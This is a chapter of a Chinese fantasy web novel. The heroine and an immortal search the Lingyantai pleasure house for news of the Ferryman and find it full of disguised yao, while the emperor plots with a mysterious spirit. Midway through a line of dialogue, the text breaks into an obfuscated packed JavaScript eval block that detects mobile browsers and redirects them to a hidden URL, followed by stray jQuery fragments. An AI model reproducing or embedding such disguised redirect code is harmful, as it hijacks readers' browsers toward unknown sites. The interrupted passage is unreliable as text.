“好罢，”宁忘夏背着手，靠近傅洵舟一点，“接下来休憩些日子吧，先找找引渡人线索。”


    天枢阁重组不代表那些探子就无所用处了，宁忘夏早些时日就将探子安排在渊国各处，以防不时之需。


    她转头看傅洵舟，眼里含笑。


    傅洵舟莞尔：“好。”


    早日找到引渡人，龙脉问题便可先行一步解决。早做打算，无论对谁都好。更何况，宁忘夏还有更想做的事。


    “上次出于公务繁忙，没能带上仙好好在城中逛逛，不知上仙意向如何？”


    上次匆匆忙忙地，没能带傅洵舟逛遍整个天汜，实属有些可惜。闲着也是闲着，不如带着傅洵舟去看看，顺带去凌烟台打探一下消息。


    凌烟台为风月之地，虽多是文人聚众谈诗词歌赋的地方。但论起情报，除了天枢阁就是凌烟台最为四通八达。


    凌烟台不仅收录人间的情报，还收录了六界的情报。这位凌烟台的楼主身份不明，也不知是何日开始，就不再露面了。


    坊间传闻，凌烟台楼主自几百年前江湖风波过后，销声匿迹，也有人猜测他已经死去。


    时常来往凌烟台的文人，也不知道其中缘由。


    宁忘夏可不管那么多，既然天枢阁难以找到引渡人的踪迹，想必凌烟台应当会有些蛛丝马迹。


    前几日因邪祟之事闹得沸沸扬扬，街道上的行人比先前少了许多。宁忘夏见今日情形，心里后悔叫傅洵舟出来了。


    傅洵舟倒不介意，一路上陪着她聊了很多，不见疲倦。


    “奇怪，城中行人少了那么多，为何去凌烟台的……”人看着不少？


    来往凌烟台的人作书生打扮，手中各执折扇，一路上高谈阔论，口中详谈尽是文韬武略。宁忘夏少时被离王逼着饱读圣贤书，这会子听到他们交谈的内容，不由得额间一皱。什么生死由命、相由心生……把全渊国的文人墨客全部召集在此，也算群贤毕至，好不风雅。


    傅洵舟撇头过去，意思明显。


    宁忘夏朝他点头，跟着一众书生后面，沿着长阶缓缓向凌烟台走去。凌烟台的规模与留客居几乎不相上下，要论起谁建立地久，还得是凌烟台。凌烟台是江湖人最喜欢去的地方，随波逐流、改朝换代后，本质上还是收集六界情报的地方，江湖却在已不再，物是人非。


    “……”傅洵舟知道凌烟台，他第一天认识孤月天就是在这里，跟孤月天一道的，还有司刑神君。


    宁忘夏问：“上仙，你觉得这地方能问出引渡人的消息吗？”


    “不会，”傅洵舟稳如泰山，不紧不慢地道：“凌烟台虽通六界，但关于天道的事，他们触碰不到。”


    “来都来了，去问问。”宁忘夏不想就此折步而返。


    虽然那位传闻中的楼主不在，可凌烟台另有其人接手，隐姓埋名，知道他的人少之又少。但宁忘夏也明白，现如今的楼主，实力不仍容小觑。


    “这位小姐可是来凌烟台做生意的，”还未进去，有个看起来文邹邹的玉面书生拦住了两人，折扇倏然展开：“我这有上清境的情报，两位可愿意交易？”


    宁忘夏要说话，傅洵舟抬手拦下她，面不改色：“不必了。”


    凌烟台不比黑市，没什么套话。要做生意的谈价，不做生意的听曲闲谈。


    那书生恭敬行礼告辞，凌烟台内部琴音袅袅，不绝如缕。楼中皆为清一色的书生，少部分身披锦衣，腰配玉石。


    他们相互对诗，行酒令，赠字画。


    不愧是名动天下的风月之地。


    琴瑟和鸣，余音绕梁，悠悠传入宁忘夏耳中。


    宁忘夏下意识屏息凝神，不自觉地把手按在了喧尘上。傅洵舟低声道：“不必紧张，凌烟台内不会有打斗的。”


    “原来如此，”傅洵舟这句话宛如定海神针，宁忘夏稍作放松，喃喃道：“凌烟台的主人还挺别致。”


    傅洵舟：“……”


    别致？莫不是个恶趣味，只会附庸风雅的家伙。


    几只金蟾蜍托着果盘往人群里走，书生见状，脸上不见惊恐，反而气定神闲地顺手拿了果子，动作轻车熟路。


    妖？


    “小姐，劳烦让让。”打头的蟾蜍被宁忘夏拦了去路，态度谦和地道。


    宁忘夏往旁边走，让出路。


    “……”她重新打量凌烟台，终于发现了与众不同的地方。


    抚琴的女子分明是蛇幻化出来的，店小二也非人，乃妖所化。许多书生，在请柬令下，逐渐幻化真身。


    怪不得他们会无所顾忌地前往凌烟台了，原来都是妖化形的。妖界覆灭之后，大量妖流落人间，下落不明。


    若不是到这来打探引渡人，她还真发现不了妖的踪迹。


    “他们是妖……”宁忘夏向傅洵舟确认道：“是吗？”


    傅洵舟颔首：“是，凌烟台除了妖，还有精怪。”


    那天枢阁招安妖的事，也有着落了。


    一举两得。


    宁忘夏还没高兴太久，傅洵舟的声音逐渐在耳边奚落。


    “凌烟台真真假假，不过黄粱一梦，庄周梦蝶。”傅洵舟道：“所见不同，所闻亦不相同”


    什么意思？


    “就像你看见的是妖，别人眼里不一定是妖。”


    宁忘夏蹙眉，疑惑：“为什么？”


    “那你猜为何凌烟台为风月之地？”傅洵舟说：“所想幻化所见，即为镜花水月。活在人世诸多困扰，不管是妖还是人，都可以利用幻境暂避自己的五感。”


    “……”


    “临渊羡鱼，不如退而结网①。”


    龙脉一事未解，她不能一步踏入温柔乡无法自拔。幻境终究还是幻境，不是现实。


    “那他们为何执迷于幻境，难道是为了逃避？”


    傅洵舟淡淡：“就是为了避世。”


    妖界自神战而消亡，妖存于人间，就得随波逐流。世道对妖是不公平的，妖无法重生，除非借助外力。


    就像当年傅洵舟送自己往生那样。


    如此数目庞大的妖，单靠上清境的上仙也是无能为力，他们不一定像傅洵舟一样，会主动施以援手。


    “凌烟台的妖，是不会答应你的。”傅洵舟早就看破宁忘夏的想法，道：“他们早就习惯了凌烟台黄粱一梦的日子，必然不会参与纷争。”


    宁忘夏叹气：“那邪祟怎么办？”


    在龙脉影响下妖的灵力大幅削弱，易轩和卓昀山对付妖也是余力不足。若无别的妖相助，单靠他们完全不行。


    上清境的上仙也不是随时可以来人间的。


    “有法子，”傅洵舟道：“人间有仙家坐镇，可以找他们帮忙。”


    仙家？


    宁忘夏没有故意对傅洵舟露出无可奈何的表情，她道：“仙家算了吧，他们嘴皮子一张一碰就是要供奉，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781241|153384||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就算收了钱还不老实办事。”


    国师出自仙家门派，很早之前仙家分裂成两股，一股势力效忠于皇室，一股势力则隐匿人间。


    看那三脚猫功夫，还不如叫影卫去收服邪祟。


    傅洵舟：“好罢，那再想想其他法子。”


    凌烟台的妖是指望不上了。


    宁忘夏随后问了一圈，起初她还不信邪，以为傅洵舟是在劝退她。结果这一圈下来，真的没有一个人知道上清神域引渡人的消息。


    傅洵舟过来，温声道：“会找到的。”


    “不对，”宁忘夏感觉自己忘了什么事，盯着傅洵舟看了半天。傅洵舟眼色躲闪一瞬，眉间满是疑惑。


    “？”


    “我怎么给忘了，”宁忘夏咬了咬下唇，一脸无辜：“说好带上仙去天汜游玩的……”


    傅洵舟反应过来，尴尬一笑：“……无事。”


    宁忘夏掷地有声：“君子一言，驷马难追。我宁忘夏说到做到。”


    傅洵舟默默扶额：“……”


    她哪来的这么多精力，傅洵舟甚至怀疑自己是不是送她往生时遗漏了什么重要的步骤。


    ——


    皇城，暗室。


    “陛下，确定要这么做吗？”


    身披黑色斗篷的两个男子跪着，互相对视一眼，其中一人声音卑微：“殿下发现不会善罢甘休的。”


    宁远昭捏着椅子上的装饰，冷着声音：“朕自有考量，而且，你们是朕从离王手下救下的，你们的命，自然也是朕的。”


    左边的人声音苍老：“愿为陛下效犬马之劳，只是臣也是在为陛下考虑。渊王如今有上仙协助，要对付起来，不容易啊。”


    “怀山就是栽在他的手上。”右边的人低着声音，说：“怀山自诩能困住上清境的上仙，说是想到了万全之策，但下场如何，大伙都是有目共睹的。”


    宁远昭：“那就要说说你了，潜伏在天枢阁这么久，一点用处都无。”


    他赶忙磕头：“陛下恕罪，殿下心思缜密，属下动作太多易打草惊蛇……”


    “朕允许你说话了吗？”宁远昭眼底划过冷意，道：“记住，朕可以让你们两个随时去死。”


    “是，”两人不敢抬头，大气不敢出。


    宁远昭摩挲着右手的扳指，眯眼思索。怀山已经失去了价值，要撼动宁忘夏的位置，硬碰硬就是鸡蛋磕石头，毫无胜算。


    “我要你们两个去做一件事，”宁远昭将桌上卷宗抛下，“做不好，提头来见。”


    “遵旨。”


    昏暗的房间里很快剩下他一个人了，上方亮起一团幽光，缓缓飘来。


    “引渡人现身了。”


    那道声音粗哑难听，像卡了痰：“我需要你找到祂，然后杀了。”


    宁远昭冷笑着：“说着容易，天道是我能左右的吗？”


    幽光晃了晃，发出低沉的笑来：“那可未必，我能助你一臂之力。”


    “就你给怀山的禁术，对付寻常人还行，想对付天道？”宁远昭轻蔑地说：“痴人说梦吧。”


    “我魂魄不全，不然也无需借用你的身体养精蓄锐。”那声音道：“我能帮你到现在，你该感激我。”


    宁远昭咬牙：“你……”


    “别忘了，我们之间的交易。”


    “六月末，鬼门开，龙脉将亡之时！”那声音肆意地笑起来，“主上，将重见天日！”